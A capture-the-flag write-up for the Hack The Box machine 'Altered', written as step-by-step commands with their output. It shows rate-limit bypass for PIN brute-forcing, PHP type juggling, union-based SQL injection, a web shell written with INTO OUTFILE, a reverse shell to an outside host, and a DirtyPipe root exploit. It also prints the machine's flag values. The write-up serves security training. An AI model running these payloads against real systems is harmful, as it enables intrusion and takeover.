Altered
8 minutes to read
- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.11.159
- Release: 30 / 03 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted -p 22,80 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.077s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.81 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.159
, we will see a login form:
We can poke around a little bit and find out that it is vulnerable to user enumeration. There are two different responses if the username is valid or not:
Moreover, we can check that admin
is a valid username. There is also a page to request a password reset:
If we enter admin
as username, we will be asked for a 4-digit PIN:
We can try 1234
as the form suggests, but it is invalid:
Foothold
The error message is interesting because it says to use the same browser. Maybe the PIN can be obtained using brute force. Let’s try using a for
-loop in Bash:
$ cookie='laravel_session=eyJpdiI6IlNyK1R6MU83L010Y1E0YVI2NDdvUlE9PSIsInZhbHVlIjoiYlRWZ1BTZVJsVzNQamwxUitNOS9sN1lrQTNncnNqWHA5OUcycFFFSDFXaXp0ZlRFeFRDNWhLaFBxR2g3Q3BLQ3RiSHNEUDNlRjdZemxPeXl5NGx5ZXpLc0RlaUhLSm16RTZkRVViZDFVeTJ1UWRjY3U4RW9GTjc3eFJvYWcyTU8iLCJtYWMiOiI3OWRkNmM0Y2EwYjVkY2I2ODRjMDE5MTJmOGUyMDA0NDlmMzFkYmU5YWVlODM2MzU2ZmUzYTliZWQzNDY1OTc5IiwidGFnIjoiIn0%3D'
$ for pin in {0000..9999}; do (echo -n "$pin: "; curl 10.10.11.159/api/resettoken -sid "name=admin&pin=$pin" -H "Cookie: $cookie") | grep '429 Too Many Requests'; done
0060: HTTP/1.1 429 Too Many Requests
0061: HTTP/1.1 429 Too Many Requests
0062: HTTP/1.1 429 Too Many Requests
0063: HTTP/1.1 429 Too Many Requests
^C
The server has a rate limit of 60 requests per minute (1 request per second). At this rate, the complete brute force attack could take nearly 3 hours, which is a lot. Thus we must find a way to bypass the rate limit.
Brute force attack
There are some headers that can affect the rate limit (HackTricks). The one that is useful for the current situation is X-Forwarded-For
using a random IP address.
At this point, I developed a Ruby script called bf_pin.rb
that performs the brute force attack using threads, so that the PIN is obtained in around three minutes (detailed explanation here)):
$ ruby bf_pin.rb
[*] Using cookie: XSRF-TOKEN=eyJpdiI6IkppemJMM2ozV01TeE5JbXFIbFBNc1E9PSIsInZhbHVlIjoiNks0K244K3Z1WU1HYVZjM3FsYjE5S05jMk8vejg0RUs0QjVRYkVrRFFMNjRKTE0xVUdYYUhJbyt3SkkwSU5lVVFyK1h5VmxlQUZqRjhsM1diMTRwbitmUm5PYUozN2M5VWRVRGtnWEZyd0FzUmZMTXhTbC80RWIzbmd6M1o4N04iLCJtYWMiOiJiMGQ3MGQ2YTc0ZmNkNzk4NzM1OWUzNTZhMmJjM2JiNzgxMmRmYWZjMjRmOTI2MDJkMDUwYWZiNWY1M2Q0MGJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZSOGdLVmdZd1J6ZVJabklBNFRmdUE9PSIsInZhbHVlIjoiaCtXaFpHcDlsaXFBN05Ea2ZvYjYrdUZtZWluUmhVM3BjaWl2TXhXVmpTZXlSYTkybXZUNTd2YkQzNzNIc0FxYlV3b2l3Q1d1dml5SFd4QzlWUFlYY0JLb3NLVE4yaHZ1N0FGZkpEUTYzdzdnRzl5TWpGeGgwaCs0S29pQVRUREEiLCJtYWMiOiIxNTNiYmZjYTVjYThlN2QwMTQ1MzU1OWNlNmJiYjNjMzUwNzYwNjgzOGVhZDdlZjg5NzdlODY5OGM0ZDdiNzBkIiwidGFnIjoiIn0%3D
[*] Trying from 7400 to 7600...
[+] 7409 is valid
Now, we must take the cookies and set them in the browser so that we keep the same session. Then we can enter 7409
and introduce a new password for admin
:
And we can login successfully. We arrive to a list of users:
Finding SQLi
The only functionality here is the “View” link, which shows a different message for each user:
The page is not refreshing, so the data is coming via AJAX. If we check the sources, we will find a script
tag holding some JavaScript code and a function called getBio
:
function getBio(id, secret) {
$.ajax({
type: 'GET',
url: 'api/getprofile',
data: {
id: id,
secret: secret
},
success: function (data) {
document.getElementById('alert').style.visibility = 'visible'
document.getElementById('alert').innerHTML = data
}
})
}
It is making a GET request to retrieve the data. Looking to the HTML code, each link has a onclick
event that executes this function with a number as id
and an MD5 hash as secret
. Let’s try it with curl
:
$ curl '10.10.11.159/api/getprofile?id=6&secret=7a5cd01cdb222330a1ec68b439887ea1'
Watchdog is an enthusiast hacker and developer from England.
It works. However, if we try to modify the id
or the secret
, we get caught:
$ curl '10.10.11.159/api/getprofile?id=6&secret=asdf'
Tampered user input detected
$ curl '10.10.11.159/api/getprofile?id=1&secret=7a5cd01cdb222330a1ec68b439887ea1'
Tampered user input detected
It seems that the server is validating the integrity of the query. And it does not seem to be predictable, maybe it has some salt:
$ echo -n 6 | md5sum
1679091c5a880faf6fb5e6087eb1b2dc -
Type Juggling exploitation
We can recall that the server uses PHP (Laravel), and maybe it is vulnerable to Type Juggling. This happens if the server uses ==
instead of ===
:
$ php -a
Interactive shell
php > if ("asdf" == true) { echo "true"; } else { echo "false"; }
true
php > if ("asdf" === true) { echo "true"; } else { echo "false"; }
false
If we enter a true
(boolean value) as secret
, the check will pass. In order to tell PHP that it is a boolean, we must send the data in JSON format:
$ curl 10.10.11.159/api/getprofile -d '{"id":6,"secret":true}' -X GET -H 'Content-Type: application/json'
Watchdog is an enthusiast hacker and developer from England.
SQLi exploitation
It is vulnerable, now we can modify the id
parameter without being caught. Let’s try SQLi:
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"'\",\"secret\":true}" -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
We sent a single quote ('
) and the server returned 500 Internal Server Error. It is very likely that the id
parameter is injectable. Let’s continue:
$ curl 10.10.11.159/api/getprofile -d '{"id":"6 or 1=1-- -","secret":true}' -X GET -H 'Content-Type: application/json'
Big0us is a man of mystery, there is not much known about him and due to winning the first UHC Season 1 Tournament, there isn't much footage for others to study. The only thing players can gather about this guy is what is on his <a href="bigous.me
">blog</a> and that he can hack.
Now we get a result (using comments to skip the rest of the server’s query). Let’s try with UNION SELECT
:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,3-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 200 OK
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,3-- -","secret":true}' -X GET -H 'Content-Type: application/json'
3
Nice, we have a Union-Based SQLi, and the reflecting column is the third one. Let’s enumerate a bit:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,database()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
uhc
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,version()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
8.0.28-0ubuntu0.20.04.3
$ curl10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,user()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
uhc@localhost
We can also read files from the server (LOAD_FILE
). For example:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/etc/passwd\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/home/htb/user.txt\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
96a7412e20c1c071a2cef9adbf2083aa
There is user.txt
.
Getting RCE
But let’s get access to the machine using INTO OUTFILE
. For that, we need to find a directory from the web server. This is the configuration for nginx:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/etc/nginx/sites-enabled/default\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
server {
listen 80 default_server;
listen [::]:80 default_server;
root /srv/altered/public;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
set $realip $remote_addr;
if ($http_x_forwarded_for ~ "^(\d+\.\d+\.\d+\.\d+)") {
set $realip $1;
}
index index.php;
charset utf-8;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location = /favicon.ico { access_log off; log_not_found off; }
location = /robots.txt { access_log off; log_not_found off; }
error_page 404 /index.php;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
location ~ /\.(?!well-known).* {
deny all;
}
}
The root directory is /srv/altered/public
. We must inject some PHP code:
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"0 union select 1,2,'<?php system(\\\"whoami\\\"); ?>' into outfile \\\"/srv/altered/public/r.php\\\"-- -\",\"secret\":true}" -X GET -H 'Content-Type: application/json' &>/dev/null
$ curl 10.10.11.159/r.php
1 2 www-data
Cool, let’s gain a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"0 union select 1,2,'<?php system(\\\"echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash\\\"); ?>' into outfile \\\"/srv/altered/public/rr.php\\\"-- -\",\"secret\":true}" -X GET -H 'Content-Type: application/json' &>/dev/null
$ curl 10.10.11.159/rr.php
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.159.
Ncat: Connection from 10.10.11.159:52116.
bash: cannot set terminal process group (928): Inappropriate ioctl for device
bash: no job control in this shell
www-data@altered:/srv/altered/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@altered:/srv/altered/public$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@altered:/srv/altered/public$ export TERM=xterm
www-data@altered:/srv/altered/public$ export SHELL=bash
www-data@altered:/srv/altered/public$ stty rows 50 columns 158
Privilege escalation
We can enumerate the Linux kernel version:
www-data@altered:/home/htb$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
There is a kernel vulnerability called DirtyPipe (CVE-2022-0847) that affects this kernel version. We can download the C exploit from CVE-2022-0847-DirtyPipe-Exploits and compile it in our machine. Then we can just upload the binary using a Python web server and run it:
www-data@altered:/tmp$ curl 10.10.17.44/exploit-1 -so dp
www-data@altered:/tmp$ chmod +x dp
www-data@altered:/tmp$ ./dp
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
--- Welcome to PAM-Wordle! ---
Wait, what? Wordle? Really? Ok… let’s have fun:
www-data@altered:/tmp$ ./dp
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected.
You have 6 attempts to guess the word.
After each guess you will recieve a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.
--- Attempt 1 of 6 ---
Word: Invalid guess: unknown word.
Word: shell
Hint->?h???
--- Attempt 2 of 6 ---
Word: hacks
Hint->*?*??
--- Attempt 3 of 6 ---
Word: chmod
Hint->ch?*?
--- Attempt 4 of 6 ---
Word: chown
Correct!
Password: piped
Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
whoami
root
cat /root/root.txt
0d52a60c9470a4a1ea3a73c808072b4b